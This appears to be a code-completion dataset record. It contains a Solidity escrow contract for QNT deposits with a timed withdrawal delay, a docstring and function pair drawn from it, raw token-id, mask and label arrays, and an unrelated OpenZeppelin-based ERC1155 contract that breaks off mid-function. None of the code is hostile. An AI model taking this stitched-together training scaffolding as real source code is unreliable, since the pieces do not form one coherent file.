pragma solidity 0.5.17; import "./ERC20Interface.sol"; import "./TreasuryBase.sol"; /** * @author Quant Network * @title Allows the treasury deposit to be held in escrow to be either returned or slashed according to defined rules * The treasury can withdraw from its deposit by firstly adding a request to withdraw, waiting the speed bump time period and then adding another tx to finalise the withdrawal */ contract EscrowedDeposit is UpgradeableProxy { // the treasury contract address; bytes constant private treasuryAddress1 = '1.treasuryaddress'; // how much QNT to withdraw via this circuit breaker bytes constant private speedBumpQNTToWithdraw1 = '1.speedBump.QNTToWithdraw'; // what time this SpeedBump was created at bytes constant private speedBumpTimeCreated1 = '1.speedBump.timeCreated'; // how long after the SpeedBump was created that this can be used bytes constant private speedBumpWaitingHours1 = '1.speedBump.waitingHours'; // testnet QNT address ERC20Interface constant private QNTContract = ERC20Interface(0x19Bc592A0E1BAb3AFFB1A8746D8454743EE6E838); // The event fired when the deposit contract's deposit is deducted: event depositDeducted(uint256 claimedQNT, address receiver, uint256 remainingQNT, address ruleAddress); // The event fired when the deposit contract's deposit is returned: event depositReturned(uint256 returnedQNT); // The event fired when a speed bump has been created: event updatedSpeedBump(uint256 QNTToWithdraw,uint16 speedBumpHours); /** * Initialises the variables * @param linkedTreasuryContract - the address of the linked treasury contract */ function initialize(address linkedTreasuryContract) external { require(!initialized(),"contract can only be initialised once"); addressStorage[keccak256(treasuryAddress1)] = linkedTreasuryContract; initializeNow(); //sets this contract to initialized } /** * The rule list contract can deduct QNT from this escrow and send it to the receiver (without closing the escrow) * @param tokenAmount - the amount to deduct * @param ruleAddress - the contract address detailing the specific rule the treasury has broken * @param receiver - who will receive the deducted deposit */ function deductDeposit(uint256 tokenAmount, address ruleAddress, address receiver) external { TreasuryBase t = TreasuryBase(treasuryAddress()); require(msg.sender == t.treasurysRuleList(), "This function can only be called by the associated rule list contract"); // Transfer the escrowed QNT: uint256 startingBalance = QNTBalance(); if (tokenAmount > startingBalance){ //transfer as much as possible: QNTContract.transfer(receiver, startingBalance); // Emit event emit depositDeducted(startingBalance,receiver,0,ruleAddress); } else { //transfer required amount QNTContract.transfer(receiver, tokenAmount); // Emit event emit depositDeducted(tokenAmount,receiver,QNTBalance(),ruleAddress); } } /** * Withdraws QNT from the deposit, as detailed in the speedBump only after the waiting time of the speed bump has completed */ function withdrawDeposit() external { TreasuryBase t = TreasuryBase(treasuryAddress()); uint256 sBTimeCreated = speedBumpTimeCreated(); require(msg.sender == t.operatorAddress(), "Can only be called by the treasury operator"); require(sBTimeCreated > 0, "Time created must be >0 (to stop replays of the speed bump)"); require(now > sBTimeCreated + (speedBumpWaitingHours()*1 hours), "The speed bump time period must have passed"); uint256 QNTToWithdraw = speedBumpQNTToWithdraw(); if (QNTToWithdraw > 0){ //wipe the speed bump speedBumpQNTToWithdraw(0); speedBumpTimeCreated(0); speedBumpWaitingHours(0); // Transfer the escrowed QNT: address receiver = t.QNTAddress(); uint256 startingBalance = QNTBalance(); if (QNTToWithdraw > startingBalance){ //this would occur if the treasury has been slashed since the SpeedBump was created //transfer as much as possible: QNTContract.transfer(receiver, startingBalance); //emits event emit depositReturned(startingBalance); } else { //transfer required amount QNTContract.transfer(receiver, QNTToWithdraw); //emits event emit depositReturned(QNTToWithdraw); } } } /** * Creates a SpeedBump request to withdraw some (non-slashed) QNT * @param QNTToWithdraw - the desired QNT to withdraw */ function updateSpeedBump(uint256 QNTToWithdraw) external { TreasuryBase t = TreasuryBase(treasuryAddress()); require(msg.sender == t.operatorAddress(), "This function can only be called by the treasury operator"); require(QNTBalance() >= QNTToWithdraw, "There is not enough QNT in the escrowed deposit"); //set the speed bump variables speedBumpQNTToWithdraw(QNTToWithdraw); speedBumpTimeCreated(now); uint16 sbHours = t.speedBumpHours(); speedBumpWaitingHours(sbHours); emit updatedSpeedBump(QNTToWithdraw,sbHours); } /** * sets a QNT to withdraw amount for the speed bump */ function speedBumpQNTToWithdraw(uint256 QNTToWithdraw) internal { uint256Storage[keccak256(speedBumpQNTToWithdraw1)] = QNTToWithdraw; } /** * sets the time the speed bump was created */ function speedBumpTimeCreated(uint256 timeCreated) internal { uint256Storage[keccak256(speedBumpTimeCreated1)] = timeCreated; } /** * Sets the number of hours before the speed bump can be used */ function speedBumpWaitingHours(uint16 currentSBHours) internal { uint16Storage[keccak256(speedBumpWaitingHours1)] = currentSBHours; } /** * @return - the admin of the proxy. Only the admin address can upgrade the smart contract logic */ function admin() public view returns (address) { TreasuryBase t = TreasuryBase(treasuryAddress()); return t.admin(); } /** * @return - the number of hours wait time for any critical update */ function speedBumpHours() public view returns (uint16){ TreasuryBase t = TreasuryBase(treasuryAddress()); return t.speedBumpHours(); } /** * Reads the current QNT balance of this contract by checking the linked treasury * @return - the QNT balance */ function QNTBalance() public view returns (uint256) { return QNTContract.balanceOf(address(this)); } /** * Reads the linked ERC20 address * @return - the ERC20 contract */ function ERC20Address() external pure returns (address) { return address(QNTContract); } /** * Reads the linked treasury contract address * @return - the treasury contract */ function treasuryAddress() public view returns (address) { return addressStorage[keccak256(treasuryAddress1)]; } /** * Reads the requested QNT of the SpeedBump * @return - the QNT */ function speedBumpQNTToWithdraw() public view returns (uint256) { return uint256Storage[keccak256(speedBumpQNTToWithdraw1)]; } /** * Reads the time the speedBump was created at * @return - the creation time */ function speedBumpTimeCreated() public view returns (uint256) { return uint256Storage[keccak256(speedBumpTimeCreated1)]; } /** * Reads the number of hours until the SpeedBump can be used * @return - the number of hours */ function speedBumpWaitingHours() public view returns (uint16) { return uint16Storage[keccak256(speedBumpWaitingHours1)]; } }
* Reads the time the speedBump was created at @return - the creation time/
function speedBumpTimeCreated() public view returns (uint256) { return uint256Storage[keccak256(speedBumpTimeCreated1)]; }
6,370,476
[ 1, 7483, 326, 813, 326, 8632, 38, 2801, 1703, 2522, 622, 327, 300, 326, 6710, 813, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8632, 38, 2801, 950, 6119, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 2254, 5034, 3245, 63, 79, 24410, 581, 5034, 12, 13871, 38, 2801, 950, 6119, 21, 13, 15533, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-01-06 */ /** *Submitted for verification at Etherscan.io on 2021-12-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor() { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, 